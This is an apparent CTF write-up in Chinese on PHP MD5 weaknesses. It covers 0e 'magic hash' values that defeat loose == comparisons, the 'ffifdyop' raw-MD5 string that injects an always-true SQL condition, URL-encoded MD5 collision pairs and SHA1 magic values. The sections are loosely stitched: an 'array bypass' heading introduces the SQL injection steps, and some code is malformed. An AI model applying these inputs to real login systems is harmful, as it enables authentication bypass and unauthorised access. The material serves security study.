php处理0e开头md5时的hash字符串漏洞

<?php
require_once "flag.php";
if (!isset($_GET['user']) && !isset($_GET['pass'])) {
    header("Location: index.php?user=1&pass=2");
}

$user = $_GET['user'];
$pass = $_GET['pass'];
if ((md5($user) == md5($pass)) and ($user != $pass)){
    echo $flag;
} else {
    echo "nonono!";
}
?>

方法一纯数字和大写字母

在PHP中,利用”!=”或”==”来对哈希值进行比较时,PHP会把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
以下纯数字和大写字母类型的哈希值在比较时都为0

纯数字类:
240610708 
0e462097431906509019562988736854
 
314282422 
0e990995504821699494520356953734
 
571579406 
0e972379832854295224118025748221
 
903251147 
0e174510503823932942361353209384
1110242161 
0e435874558488625891324861198103
 
1320830526 
0e912095958985483346995414060832
 
1586264293 
0e622743671155995737639662718498
 
2302756269 
0e250566888497473798724426794462
 
2427435592 
0e067696952328669732475498472343
 
2653531602 
0e877487522341544758028810610885
 
3293867441 
0e471001201303602543921144570260
 
3295421201 
0e703870333002232681239618856220
 
3465814713 
0e258631645650999664521705537122
 
3524854780 
0e507419062489887827087815735195
 
3908336290 
0e807624498959190415881248245271
 
4011627063 
0e485805687034439905938362701775
 
4775635065 
0e998212089946640967599450361168
 
4790555361 
0e643442214660994430134492464512
 
5432453531 
0e512318699085881630861890526097
 
5579679820 
0e877622011730221803461740184915
 
5585393579 
0e664357355382305805992765337023
 
6376552501 
0e165886706997482187870215578015
 
7124129977 
0e500007361044747804682122060876
 
7197546197 
0e915188576072469101457315675502
 
7656486157 
0e451569119711843337267091732412
大写字母类:
QLTHNDT 
0e405967825401955372549139051580
 
QNKCDZO 
0e830400451993494058024219903391
 
EEIZDOI 
0e782601363539291779881938479162
 
TUFEPMC 
0e839407194569345277863905212547
 
UTIPEZQ 
0e382098788231234954670291303879
 
UYXFLOI 
0e552539585246568817348686838809
 
IHKFRNS 
0e256160682445802696926137988570
 
PJNPDWY 
0e291529052894702774557631701704
 
ABJIHVY 
0e755264355178451322893275696586
 
DQWRASX 
0e742373665639232907775599582643
 
DYAXWCA 
0e424759758842488633464374063001
 
GEGHBXL 
0e248776895502908863709684713578
 
GGHMVOE 
0e362766013028313274586933780773
 
GZECLQZ 
0e537612333747236407713628225676
 
NWWKITQ 
0e763082070976038347657360817689
 
NOOPCJF 
0e818888003657176127862245791911
 
MAUXXQC 
0e478478466848439040434801845361
 
MMHUWUV 
0e701732711630150438129209816536

方法二通过数组绕过

image.png
访问界面
2、在输入框内输入1,看到请求头有提示,判断是md5
image.png
3、当我们将下面这个十进制传入mysql数据库的时候,那么mysql会自动将这些值转为十六进程并且转为一个字符串,用这个字符串来进行闭合前面的,相当于我们执行了 ’ or 'xxxxx 那么就是一个永真的条件。

content: ffifdyop

hex: 276f722736c95d99e921722cf9ed621c

raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c

string: 'or'6]!r,b

我们可以在mysql里面输入这些会形成为一个永真的条件。

image.png

4、和默认的输出不一样,百度一下MD5()true参数漏洞,发现可以找到ffifdyop`字符串会造成漏洞
image.png
5、在本地环境试验ffifdyop,输出的开头是’or’6xxxxxx在数据库语句里就构成了select * from ‘admin’ where password= ''or’6xxxxxx ’ 相当于 password= ‘’ or 1 变成永真

MD5碰撞

if((string)$_POST['param1']!==(string)$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])){
        die("success!);
}
$data_1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2

$data_2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

MD5函数漏洞

$_GET['name'] != $_GET['password']
MD5($_GET['name']) == MD5($_GET['password'])

要求满足上述条件则
那么要求name和password数值不同但是MD5相同,在这里可以利用绕过。
PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以“0E”开头的,那么PHP将会认为他们相同,都是0。
以下值在md5加密后以0E开头:

QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a

以下值在sha1加密后以0E开头:

sha1(‘aaroZmOk’)sha1(‘aaK1STfY’)sha1(‘aaO8zKZF’)sha1(‘aa3OFF9m’)GET传入a=QNKCDZO&b=240610708就能绕过了
上一篇 下一篇